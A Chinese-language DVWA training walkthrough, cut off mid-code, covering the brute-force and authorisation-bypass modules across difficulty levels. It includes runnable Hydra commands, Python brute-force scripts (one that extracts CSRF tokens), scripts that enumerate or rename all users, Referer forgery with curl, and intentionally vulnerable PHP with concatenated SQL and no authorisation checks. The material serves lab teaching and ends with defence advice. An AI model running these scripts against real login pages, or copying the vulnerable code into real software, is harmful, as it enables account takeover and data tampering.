步骤5：开始攻击

点击 Start attack
观察 Length 列，长度不同的响应通常表示成功
或使用 Grep-Match 功能匹配 “Welcome to the password protected area”

步骤6：验证结果

找到长度异常的请求，右键 → Show response in browser，验证登录成功。

方法2：使用Hydra命令行工具

# 安装hydra（Kali Linux自带）
apt-get install hydra

# 准备用户名字典
echo "admin" > users.txt
echo "root" >> users.txt

# 准备密码字典
echo "password" > passwords.txt
echo "123456" >> passwords.txt
echo "admin" >> passwords.txt

# 执行暴力破解
hydra -L users.txt -P passwords.txt dvwa.local http-get-form \
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect:H=Cookie: security=low; PHPSESSID=你的session值"

参数说明：

-L users.txt - 用户名字典文件
-P passwords.txt - 密码字典文件
http-get-form - HTTP GET表单
^USER^ - 用户名占位符
^PASS^ - 密码占位符
:Username and/or password incorrect - 失败标识
H=Cookie - 添加Cookie头

方法3：Python脚本

import requests

# 目标URL
url = "http://dvwa.local/dvwa/vulnerabilities/brute/"

# Cookie（需要先登录DVWA获取）
cookies = {
    'security': 'low',
    'PHPSESSID': '你的session值'
}

# 用户名列表
usernames = ['admin', 'root', 'user']

# 密码列表
passwords = ['password', '123456', 'admin', 'letmein']

# 遍历所有组合
for user in usernames:
    for passwd in passwords:
        # 构建请求参数
        params = {
            'username': user,
            'password': passwd,
            'Login': 'Login'
        }

        # 发送请求
        response = requests.get(url, params=params, cookies=cookies)

        # 检查响应
        if "Welcome to the password protected area" in response.text:
            print(f"[+] 成功！用户名: {user}, 密码: {passwd}")
            break
        else:
            print(f"[-] 失败: {user} / {passwd}")

DVWA默认账户

admin / password
gordonb / abc123
1337 / charley
pablo / letmein
smithy / password

Medium 难度

攻击目标

添加了基本防护，但仍可破解。

后端代码分析



// 检查是否提交了登录请求
if( isset( $_GET[ 'Login' ] ) ) {

    // 获取用户名
    $user = $_GET[ 'username' ];

    // 获取密码并MD5加密
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // ★★★ 新增：使用mysqli_real_escape_string转义特殊字符 ★★★
    // mysqli_real_escape_string() - 转义SQL语句中的特殊字符
    // 转义的字符包括：\x00, \n, \r, \, ', ", \x1a
    // $GLOBALS["___mysqli_ston"] - 全局数据库连接句柄
    // 作用：防止SQL注入攻击
    // 原理：将单引号'转义为\'，使其无法闭合SQL语句
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
        ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user )
        : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
        ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass )
        : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    // 构建SQL查询（虽然转义了，但仍是字符串拼接）
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

    // 执行查询
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query )
        or die( '' . ((is_object($GLOBALS["___mysqli_ston"]))
        ? mysqli_error($GLOBALS["___mysqli_ston"])
        : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

    // 检查登录结果
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // 登录成功
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        $html .= "Welcome to the password protected area {$user}
";
        $html .= "{$avatar}\" />";
    }
    else {
        // ★★★ 核心防护：登录失败后延迟2秒 ★★★
        // sleep(2) - 使PHP脚本暂停执行2秒
        // 作用：减慢暴力破解速度
        // 计算：尝试1000个密码需要2000秒（约33分钟）
        // 缺点：只是延迟，无法真正阻止攻击
        sleep( 2 );

        // 输出失败信息
        $html .= "
Username and/or password incorrect.
";
    }

    // 关闭数据库连接
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

新增防护

mysqli_real_escape_string() - 防止SQL注入
sleep(2) - 每次失败延迟2秒

仍存在的漏洞

仍使用GET请求
无账户锁定
无验证码
延迟可预测（固定2秒）
仍可暴力破解（只是变慢）

攻击步骤

使用Burp Suite Intruder：

Medium难度因为有2秒延迟，所以需要配置为单线程攻击。

配置步骤（Burp Suite 2023版本）：

基本步骤与Low难度相同
- 发送请求到Intruder
- 配置Positions（标记username和password）
- 配置Payloads（添加字典）
关键配置：在Settings标签中限制并发
进入 Intruder → Settings 标签：
方法A：使用Resource pool（如果你的版本有此选项）
- 找到 Resource pool 选项
- 点击 Create new resource pool
- 设置 Maximum concurrent requests: 1（单线程）
- 原因：Medium有2秒延迟，多线程也需要等待，单线程更稳定
方法B：使用新版Burp Suite的Settings（2023及更新版本）
如果你的Burp Suite没有Resource pool选项，使用以下配置：
- 找到 “HTTP/1 connection reuse” 部分
- 勾选 ✅ Reuse HTTP/1 connections if the server supports it（复用连接）
- 找到 “Redirections” 部分
- 根据需要设置重定向策略（通常选择 Never）
- 找到 “Error handling” 部分
- 设置 Number of retries on network failure: 3
- 设置 Pause before retry (milliseconds): 2000
重要说明：
- Burp Suite 2023版本已经移除了单独的Resource pool配置
- 默认情况下，Burp会自动管理并发连接
- 由于Medium难度有2秒延迟，即使多线程，每个请求也会等待
- 因此不需要特别限制线程，Burp会自动优化
开始攻击
- 点击 Start attack 按钮
- Burp会按顺序发送请求
- 每次失败会自动等待2秒（服务器端延迟）

时间计算：

尝试100个密码 = 200秒（约3分钟）
尝试1000个密码 = 2000秒（约33分钟）

优化策略：

使用更精准的小字典
针对DVWA使用已知密码列表
晚上挂机运行

Burp Suite版本差异说明：

功能	旧版本（2020及之前）	新版本（2023+）
线程控制	Resource pool	自动管理
配置位置	Intruder → Options	Intruder → Settings
并发设置	Maximum concurrent requests	HTTP/1 connection reuse
建议	手动设置为1	保持默认即可

High 难度

攻击目标

添加了CSRF Token和随机延迟，难度大幅提升。

后端代码分析



// 检查是否提交了登录请求
if( isset( $_GET[ 'Login' ] ) ) {

    // ★★★ 新增：CSRF Token验证 ★★★
    // checkToken() - DVWA自定义函数，验证CSRF token
    // 原理：对比用户提交的token和服务器session中存储的token
    // $_REQUEST - 包含$_GET、$_POST、$_COOKIE的内容
    // $_SESSION - 会话变量，存储在服务器端
    // 作用：防止跨站请求伪造(CSRF)攻击
    // 如果token不匹配，会重定向到index.php
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取用户名
    $user = $_GET[ 'username' ];

    // ★★★ 新增：stripslashes()去除反斜杠 ★★★
    // stripslashes() - 删除由addslashes()或magic_quotes_gpc添加的反斜杠
    // 例如：\' 变成 '
    // 作用：清理输入数据
    $user = stripslashes( $user );

    // mysqli_real_escape_string转义
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
        ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user )
        : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    // 获取密码并处理
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
        ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass )
        : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // 执行SQL查询
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query )
        or die( '' . ((is_object($GLOBALS["___mysqli_ston"]))
        ? mysqli_error($GLOBALS["___mysqli_ston"])
        : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

    // 检查登录结果
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // 登录成功
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        $html .= "Welcome to the password protected area {$user}
";
        $html .= "{$avatar}\" />";
    }
    else {
        // ★★★ 新增：随机延迟0-3秒 ★★★
        // rand(0, 3) - 生成0到3之间的随机整数（包含0和3）
        // sleep(rand(0, 3)) - 随机暂停0、1、2或3秒
        // 作用：使攻击者无法预测延迟时间，增加自动化攻击难度
        // 平均延迟：1.5秒
        sleep( rand( 0, 3 ) );

        // 输出失败信息
        $html .= "
Username and/or password incorrect.
";
    }

    // 关闭数据库连接
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// ★★★ 生成新的CSRF Token ★★★
// generateSessionToken() - DVWA自定义函数
// 作用：为每次页面加载生成新的随机token
// 这个token会被嵌入HTML表单的hidden字段中
// 示例：
generateSessionToken();

?>

新增防护

CSRF Token验证 - 每次请求需要有效token
stripslashes() - 额外输入过滤
随机延迟 - 0-3秒随机延迟（平均1.5秒）

仍存在的漏洞

仍使用GET请求
无账户锁定
Token可以被提取

攻击步骤

High难度的关键在于绕过CSRF Token验证。

方法1：使用Burp Suite的Macro功能

步骤1：创建Macro获取Token

打开Burp Suite
Settings → Sessions → Session Handling Rules
点击 Add
Rule Actions → Add → Run a macro
点击 Add 创建新Macro：
- 名称：Get CSRF Token
- 从Proxy History中选择访问brute force页面的GET请求
- 点击 Configure item
- 添加Custom parameter location
- Parameter name: user_token
- 使用正则提取：name='user_token' value='([^']+)'

步骤2：配置Session Handling

在Rule中启用 “Update only the following parameters”
添加 user_token
Scope → Include all URLs

步骤3：开始Intruder攻击

现在每次请求前都会自动获取新的token。

方法2：Python脚本自动获取Token

import requests
import re

# 配置
url = "http://dvwa.local/dvwa/vulnerabilities/brute/"
cookies = {
    'security': 'high',
    'PHPSESSID': '你的session'
}

usernames = ['admin']
passwords = ['password', '123456', 'admin', 'letmein']

def get_token():
    """获取CSRF token"""
    response = requests.get(url, cookies=cookies)
    # 使用正则表达式提取token
    match = re.search(r"name='user_token' value='([^']+)'", response.text)
    if match:
        return match.group(1)
    return None

# 暴力破解
for user in usernames:
    for passwd in passwords:
        # 每次请求前获取新token
        token = get_token()
        if not token:
            print("[!] 无法获取token")
            continue

        # 构建请求参数（包含token）
        params = {
            'username': user,
            'password': passwd,
            'Login': 'Login',
            'user_token': token
        }

        # 发送请求
        response = requests.get(url, params=params, cookies=cookies)

        # 检查结果
        if "Welcome to the password protected area" in response.text:
            print(f"[+] 成功！{user} / {passwd}")
            break
        else:
            print(f"[-] 失败: {user} / {passwd}")

Impossible 难度

攻击目标

几乎无法攻破的完善防护。

后端代码分析



// ★★★ 改进1：使用POST方法并验证所有参数 ★★★
// isset() - 检查变量是否存在
// 同时检查Login、username、password三个参数
// 使用$_POST而不是$_GET，密码不会出现在URL中
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {

    // ★★★ CSRF Token验证 ★★★
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取并处理用户名
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
        ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user )
        : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    // 获取并处理密码
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
        ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass )
        : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // ★★★ 改进2：账户锁定机制 - 配置参数 ★★★
    // 定义锁定相关常量
    $total_failed_login = 3;    // 最大失败次数：3次
    $lockout_time       = 15;   // 锁定时间：15分钟
    $account_locked     = false; // 账户锁定状态标志

    // ★★★ 改进3：使用PDO预编译语句 ★★★
    // $db - PDO数据库连接对象
    // prepare() - 准备一个SQL语句用于执行
    // :user - 命名参数占位符
    // LIMIT 1 - 限制只返回一行结果
    // 作用：查询该用户的失败登录次数和最后登录时间
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );

    // bindParam() - 绑定参数到预编译语句
    // 参数1：占位符名称
    // 参数2：要绑定的变量
    // 参数3：参数数据类型（PDO::PARAM_STR表示字符串）
    // 作用：完全防止SQL注入，SQL和数据完全分离
    $data->bindParam( ':user', $user, PDO::PARAM_STR );

    // execute() - 执行预编译语句
    $data->execute();

    // fetch() - 获取结果集的下一行
    // 返回关联数组，键名为列名
    $row = $data->fetch();

    // ★★★ 改进4：检查账户是否被锁定 ★★★
    // rowCount() - 返回受影响的行数
    // $row[ 'failed_login' ] - 失败登录次数
    // 如果用户存在且失败次数>=3次，检查是否在锁定期内
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {

        // 计算时间
        // strtotime() - 将任何英文文本日期时间描述解析为Unix时间戳
        // $row[ 'last_login' ] - 数据库中的最后登录时间（字符串格式）
        $last_login = strtotime( $row[ 'last_login' ] );

        // 计算锁定结束时间
        // $lockout_time * 60 - 将分钟转换为秒
        $timeout    = $last_login + ($lockout_time * 60);

        // time() - 返回当前Unix时间戳
        $timenow    = time();

        // 检查是否仍在锁定期内
        // 如果当前时间 < 锁定结束时间，说明仍被锁定
        if( $timenow < $timeout ) {
            $account_locked = true;
            // 不输出任何信息（安全实践：不透露账户状态）
        }
    }

    // ★★★ 改进5：只有账户未锁定时才验证登录 ★★★
    // ! - 逻辑非运算符
    if( !$account_locked ) {

        // 使用PDO预编译语句验证用户名和密码
        $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR);
        $data->bindParam( ':password', $pass, PDO::PARAM_STR );
        $data->execute();
        $row = $data->fetch();

        // 验证登录
        if( $data->rowCount() == 1 ) {
            // ★★★ 登录成功：重置失败计数器 ★★★
            // UPDATE - SQL更新语句
            // SET failed_login = "0" - 将失败次数重置为0
            // 作用：成功登录后清除失败记录，防止误锁定
            $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR );
            $data->execute();

            // 获取并显示用户信息
            $avatar = $row[ 'avatar' ];
            $html .= "Welcome to the password protected area {$user}
";
            $html .= "{$avatar}\" />";
        }
        else {
            // ★★★ 登录失败处理 ★★★

            // 随机延迟2-4秒
            // rand( 2, 4 ) - 生成2到4之间的随机整数
            // 作用：减慢暴力破解，增加不确定性
            sleep( rand( 2, 4 ) );

            // 输出失败信息（提示可能是锁定原因）
            $html .= "
Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
";

            // ★★★ 改进6：增加失败计数 ★★★
            // failed_login = (failed_login + 1) - 失败次数+1
            // 每次失败都会累加，达到3次后触发锁定
            $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR );
            $data->execute();
        }

        // ★★★ 改进7：更新最后登录时间 ★★★
        // now() - MySQL函数，返回当前日期和时间
        // 无论成功失败都更新，用于锁定时间计算
        $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }
}

// 生成新的CSRF Token
generateSessionToken();

?>

完善的防护机制

POST请求 - 密码不出现在URL
PDO预编译 - 完全防止SQL注入
CSRF Token - 防止跨站请求伪造
账户锁定 - 3次失败锁定15分钟
失败计数 - 记录每个账户的失败次数
成功重置 - 成功登录清零计数器
时间更新 - 记录每次尝试时间
随机延迟 - 2-4秒不可预测

为什么几乎无法攻破？

攻击成本计算：

假设密码字典有1000个密码：

每3次尝试需要等待15分钟
1000密码 ÷ 3 = 334轮
334轮 × 15分钟 = 5010分钟 ≈ 83.5小时
加上每次2-4秒延迟：1000次 × 3秒 ≈ 50分钟
总计：约84小时（3.5天）

这还只是一个用户名！

防御层级：

PDO预编译 → SQL注入无效
CSRF Token → 自动化工具需要额外处理
账户锁定 → 暴力破解效率极低
POST请求 → URL不泄露密码
随机延迟 → 增加时间成本

防御建议

代码层面

使用POST请求 - 敏感数据不应出现在URL
PDO预编译语句 - 彻底防止SQL注入
CSRF Token - 防止跨站请求伪造
密码哈希 - 使用bcrypt、Argon2，不要用MD5
输入验证 - 严格验证所有输入

机制层面

账户锁定
- 5次失败锁定30分钟
- 或使用指数退避（1分钟→5分钟→30分钟）
验证码
- 3次失败后显示验证码
- 使用reCAPTCHA v3
多因素认证(MFA)
- 短信验证码
- TOTP（Google Authenticator）
- 硬件密钥
限流
- IP限流：每IP每分钟10次请求
- 账户限流：每账户每分钟3次尝试

监控层面

日志记录
- 记录所有登录尝试
- 包括IP、时间、用户名
异常检测
- 监控失败登录高峰
- 检测分布式攻击
告警机制
- 多次失败触发告警
- 异常IP自动封禁

Web应用防火墙(WAF)

Cloudflare
AWS WAF
ModSecurity

总结对比

特性	Low	Medium	High	Impossible
请求方法	GET	GET	GET	POST
SQL注入防护	❌	✅ mysqli_escape	✅ mysqli_escape	✅ PDO预编译
CSRF防护	❌	❌	✅ Token	✅ Token
登录延迟	❌	✅ 2秒固定	✅ 0-3秒随机	✅ 2-4秒随机
账户锁定	❌	❌	❌	✅ 3次/15分钟
失败计数	❌	❌	❌	✅
攻击难度	极易	简单	中等	极难
预计破解时间	<1分钟	30分钟	数小时	数天

实战建议

从Low开始 - 熟悉基本操作
理解Medium - 学习基础防护
挑战High - 掌握Token绕过
研究Impossible - 理解完善的防护体系

学习路径：

手动测试 → Burp Suite → 脚本自动化 → 分析防护机制

道德准则：

只在授权环境测试
不攻击真实系统
学习目的是防御，不是攻击

DVWA - Authorisation Bypass (权限绕过) 攻防练习详解

2025-11-20T15:31:37.143Z

漏洞简介

什么是权限绕过（Authorisation Bypass）？

权限绕过也称为访问控制漏洞，指攻击者能够访问或执行他们不应该有权限的功能或资源，绕过应用程序的授权检查。

认证 vs 授权：

概念	英文	作用	问题
认证	Authentication	验证用户身份（你是谁？）	弱密码、会话劫持
授权	Authorisation	验证用户权限（你能做什么？）	权限绕过、越权访问

权限绕过的类型：

1. 水平权限绕过（Horizontal Privilege Escalation）

用户访问同级别其他用户的资源：

1
2
3

用户A → 只能访问自己的订单
攻击：修改order_id=123 → order_id=456
结果：访问到用户B的订单

2. 垂直权限绕过（Vertical Privilege Escalation）

普通用户获取更高权限（如管理员）：

1 2	普通用户 → 访问/admin/panel 结果：获得管理员功能

3. 功能级权限绕过

访问未授权的功能或API：

1 2	普通用户 → POST /api/admin/delete_user 结果：执行管理员操作

危害：

访问他人敏感数据
修改其他用户信息
执行管理员操作
删除重要数据
完全控制系统

常见原因：

只在前端隐藏功能
依赖用户提供的参数判断权限
不检查资源所有权
Session中存储可篡改的权限信息
URL可预测的管理功能

DVWA场景：
一个用户管理系统，有普通用户和管理员两种角色。

Low 难度

攻击目标

完全不检查用户权限，任何用户都可以访问管理功能。

后端代码分析



// ★★★ Low难度：完全没有权限检查 ★★★

// 检查用户是否已登录
// dvwaCurrentUser() - 获取当前登录用户名
$currentUser = dvwaCurrentUser();

// ★★★ 问题：只检查是否登录，不检查权限级别 ★★★
// 任何已登录用户都可以访问
if (!$currentUser) {
    // 未登录，重定向到登录页
    header("Location: login.php");
    exit;
}

// 获取要查看的用户ID
// $_GET['id'] - 从URL获取用户ID
$userId = $_GET['id'];

// ★★★ 危险操作1：不验证用户是否有权查看该用户 ★★★
// 问题：
// 1. 不检查当前用户是否是管理员
// 2. 不检查当前用户是否是该用户本人
// 3. 任何登录用户都可以查看任何用户的信息
$query = "SELECT * FROM users WHERE user_id = '$userId'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

if ($result && mysqli_num_rows($result) > 0) {
    $user = mysqli_fetch_assoc($result);

    // ★★★ 显示用户信息（包括敏感数据） ★★★
    echo "User Information
";
    echo "User ID: " . $user['user_id'] . "
";
    echo "Username: " . $user['user'] . "
";
    echo "First Name: " . $user['first_name'] . "
";
    echo "Last Name: " . $user['last_name'] . "
";
    echo "Avatar: " . $user['avatar'] . "
";
    // ★★★ 甚至显示密码哈希！ ★★★
    echo "Password Hash: " . $user['password'] . "
";
}

// ★★★ 危险操作2：管理员功能没有权限检查 ★★★
if (isset($_GET['action']) && $_GET['action'] == 'delete') {
    $deleteUserId = $_GET['delete_id'];

    // ★★★ 问题：任何用户都可以删除任何用户 ★★★
    // 完全没有检查：
    // 1. 当前用户是否是管理员
    // 2. 是否可以删除该用户
    $query = "DELETE FROM users WHERE user_id = '$deleteUserId'";
    mysqli_query($GLOBALS["___mysqli_ston"], $query);

    echo "User deleted successfully!
";
}

// ★★★ 危险操作3：修改用户信息没有权限检查 ★★★
if (isset($_POST['update'])) {
    $updateUserId = $_POST['user_id'];
    $newUsername = $_POST['username'];

    // ★★★ 问题：任何用户都可以修改任何用户的信息 ★★★
    $query = "UPDATE users SET user = '$newUsername' WHERE user_id = '$updateUserId'";
    mysqli_query($GLOBALS["___mysqli_ston"], $query);

    echo "User updated successfully!
";
}

?>

HTML表单：


<form method="GET">
    <label>View User ID:label>
    <input type="text" name="id" value="1">
    <button type="submit">Viewbutton>
form>


<form method="GET">
    <input type="hidden" name="action" value="delete">
    <label>Delete User ID:label>
    <input type="text" name="delete_id" value="2">
    <button type="submit">Deletebutton>
form>


<form method="POST">
    <label>User ID:label>
    <input type="text" name="user_id" value="2"><br>
    <label>New Username:label>
    <input type="text" name="username" value="hacked"><br>
    <button type="submit" name="update">Updatebutton>
form>

漏洞分析

核心问题：

只检查认证，不检查授权 - 登录即可访问所有功能
不验证资源所有权 - 任何用户可以访问任何用户数据
管理功能无保护 - 删除、修改功能没有权限检查
可预测的ID - 用户ID是连续数字，易于枚举

权限模型缺失：

应该：
用户A → 只能查看/修改自己的数据
管理员 → 可以查看/修改所有用户数据

实际：
任何登录用户 → 可以查看/修改/删除任何用户数据

攻击步骤

步骤1：水平越权 - 访问其他用户数据

攻击：查看其他用户信息

正常访问：?id=1（查看自己的信息）

攻击：
?id=2  → 查看用户ID=2的信息
?id=3  → 查看用户ID=3的信息
...

结果：可以看到所有用户的信息，包括密码哈希

使用Burp Suite枚举所有用户：

1. 拦截请求：GET /vulnerabilities/authbypass/?id=1
2. 发送到Intruder
3. 设置Payload位置：?id=§1§
4. Payload类型：Numbers（1-100）
5. 开始攻击
6. 结果：获取所有用户的信息

步骤2：垂直越权 - 删除其他用户

攻击：删除管理员账户

普通用户登录后：

访问：?action=delete&delete_id=1

结果：
- 管理员账户被删除
- 普通用户执行了管理员操作

步骤3：批量攻击

Python脚本 - 枚举所有用户：

import requests

url = "http://dvwa.local/vulnerabilities/authbypass/"
cookies = {
    'security': 'low',
    'PHPSESSID': 'your_session'
}

print("[*] Enumerating users...")

for user_id in range(1, 100):
    params = {'id': user_id}
    response = requests.get(url, params=params, cookies=cookies)

    if 'User ID:' in response.text:
        # 提取用户信息
        print(f"[+] Found user ID: {user_id}")

        # 解析用户名和密码哈希
        if 'Username:' in response.text:
            # 提取信息（需要解析HTML）
            print(f"    Details in response")

Python脚本 - 批量修改用户：

import requests

url = "http://dvwa.local/vulnerabilities/authbypass/"
cookies = {
    'security': 'low',
    'PHPSESSID': 'your_session'
}

print("[*] Modifying all users...")

for user_id in range(1, 10):
    data = {
        'user_id': user_id,
        'username': f'hacked_{user_id}',
        'update': 'Update'
    }

    response = requests.post(url, data=data, cookies=cookies)

    if 'updated successfully' in response.text:
        print(f"[+] Modified user {user_id}")
    else:
        print(f"[-] Failed to modify user {user_id}")

步骤4：查找隐藏的管理功能

目录枚举：

# 使用dirbuster或gobuster
gobuster dir -u http://dvwa.local/vulnerabilities/authbypass/ \
             -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
             -c "security=low; PHPSESSID=your_session"

# 常见管理路径
/admin
/administrator
/admin.php
/manage
/panel
/dashboard

功能枚举：

尝试不同的action参数：
?action=delete
?action=update
?action=view
?action=export
?action=backup

Medium 难度

攻击目标

使用Referer检查，但可以伪造。

后端代码分析



// 获取当前用户
$currentUser = dvwaCurrentUser();

if (!$currentUser) {
    header("Location: login.php");
    exit;
}

// ★★★ 新增：检查Referer头 ★★★
// $_SERVER['HTTP_REFERER'] - HTTP Referer头
// 作用：检查请求是否来自本站
//
// 问题：
// 1. Referer可以被伪造
// 2. 某些浏览器/代理可能不发送Referer
// 3. 这不是可靠的安全检查
if (isset($_SERVER['HTTP_REFERER'])) {
    $referer = $_SERVER['HTTP_REFERER'];

    // ★★★ 检查Referer是否包含当前域名 ★★★
    // strpos() - 查找字符串位置
    // $_SERVER['HTTP_HOST'] - 当前域名
    //
    // 例如：
    // Referer: http://dvwa.local/vulnerabilities/authbypass/index.php
    // HTTP_HOST: dvwa.local
    // strpos() 找到 "dvwa.local" → 通过检查
    if (strpos($referer, $_SERVER['HTTP_HOST']) === false) {
        // Referer不包含当前域名，拒绝
        echo "Access denied: Invalid referer
";
        exit;
    }
} else {
    // ★★★ 问题：没有Referer也拒绝 ★★★
    // 某些情况下，合法用户的浏览器可能不发送Referer
    echo "Access denied: No referer
";
    exit;
}

// ★★★ 新增：简单的角色检查 ★★★
// 检查用户是否有admin_role权限
// 但这个检查有漏洞
function isAdmin($username) {
    // 从数据库查询用户角色
    $query = "SELECT * FROM users WHERE user = '$username'";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

    if ($result && mysqli_num_rows($result) > 0) {
        $user = mysqli_fetch_assoc($result);

        // ★★★ 问题：角色信息存储在客户端可见的字段 ★★★
        // 如果avatar或其他字段包含"admin"字符串，就认为是管理员
        // 这是非常弱的检查
        if (strpos($user['avatar'], 'admin') !== false) {
            return true;
        }
    }

    return false;
}

// 获取用户ID
$userId = $_GET['id'];

// ★★★ 改进：检查用户权限 ★★★
// 但检查逻辑有漏洞
if (!isAdmin($currentUser)) {
    // ★★★ 问题：只检查是否是管理员，不检查是否查看自己的数据 ★★★
    // 非管理员应该只能查看自己的数据，但这里没有检查
    echo "Access denied: Admin only
";
    exit;
}

// 后续操作...
// 查询、删除、修改用户
// ...

?>

新增防护

Referer检查 - 验证请求来源
角色检查 - 判断是否是管理员
拒绝无Referer的请求

仍存在的漏洞

核心问题：

Referer可伪造 - 这不是可靠的安全措施
角色检查逻辑弱 - 基于avatar字段判断
没有检查资源所有权 - 管理员检查不够
Session劫持 - 如果获取管理员Session，可以绕过

绕过方法

方法1：伪造Referer头

使用Burp Suite：

GET /vulnerabilities/authbypass/?id=2 HTTP/1.1
Host: dvwa.local
Referer: http://dvwa.local/vulnerabilities/authbypass/index.php
Cookie: security=medium; PHPSESSID=your_session

结果：通过Referer检查

使用curl：

1
2
3

curl -X GET "http://dvwa.local/vulnerabilities/authbypass/?id=2" \
     -H "Referer: http://dvwa.local/vulnerabilities/authbypass/" \
     -H "Cookie: security=medium; PHPSESSID=your_session"

使用Python：

import requests

url = "http://dvwa.local/vulnerabilities/authbypass/"
headers = {
    'Referer': 'http://dvwa.local/vulnerabilities/authbypass/index.php'
}
cookies = {
    'security': 'medium',
    'PHPSESSID': 'your_session'
}

params = {'id': 2}

response = requests.get(url, params=params, headers=headers, cookies=cookies)

if 'User ID:' in response.text:
    print("[+] Bypassed referer check!")
    print(response.text)

方法2：利用角色检查漏洞

如果avatar字段可修改：

# 1. 修改自己的avatar包含"admin"字符串
data = {
    'user_id': 5,  # 当前用户ID
    'avatar': 'images/admin_avatar.jpg',  # 包含"admin"
    'update': 'Update'
}

requests.post(url, data=data, headers=headers, cookies=cookies)

# 2. 现在被识别为管理员，可以访问所有功能

方法3：会话固定/劫持

1
2
3

1. 获取管理员的Session ID（通过XSS、网络嗅探等）
2. 使用管理员的Session访问
3. 绕过所有权限检查

High 难度

攻击目标

使用Anti-CSRF Token，但仍有逻辑漏洞。

后端代码分析



// 获取当前用户
$currentUser = dvwaCurrentUser();

if (!$currentUser) {
    header("Location: login.php");
    exit;
}

// ★★★ 新增：Anti-CSRF Token验证 ★★★
// 检查是否提交了表单
if ($_SERVER['REQUEST_METHOD'] == 'POST') {

    // ★★★ 验证CSRF Token ★★★
    // 从POST数据获取token
    $userToken = $_POST['user_token'] ?? '';
    // 从Session获取token
    $sessionToken = $_SESSION['session_token'] ?? '';

    // checkToken() - 验证CSRF token
    // 参数1：用户提交的token
    // 参数2：Session中的token
    // 参数3：失败后重定向的页面
    if (!checkToken($userToken, $sessionToken, 'index.php')) {
        echo "CSRF token validation failed
";
        exit;
    }
}

// ★★★ 改进：基于数据库的角色检查 ★★★
function getUserRole($username) {
    // 从数据库查询用户角色
    // 假设users表有role字段：'admin' 或 'user'
    $query = "SELECT role FROM users WHERE user = ?";
    $stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query);
    mysqli_stmt_bind_param($stmt, 's', $username);
    mysqli_stmt_execute($stmt);
    $result = mysqli_stmt_get_result($stmt);

    if ($result && mysqli_num_rows($result) > 0) {
        $row = mysqli_fetch_assoc($result);
        return $row['role'];
    }

    return 'user'; // 默认为普通用户
}

// 检查用户角色
$userRole = getUserRole($currentUser);

// 获取要访问的用户ID
$userId = $_GET['id'] ?? 0;

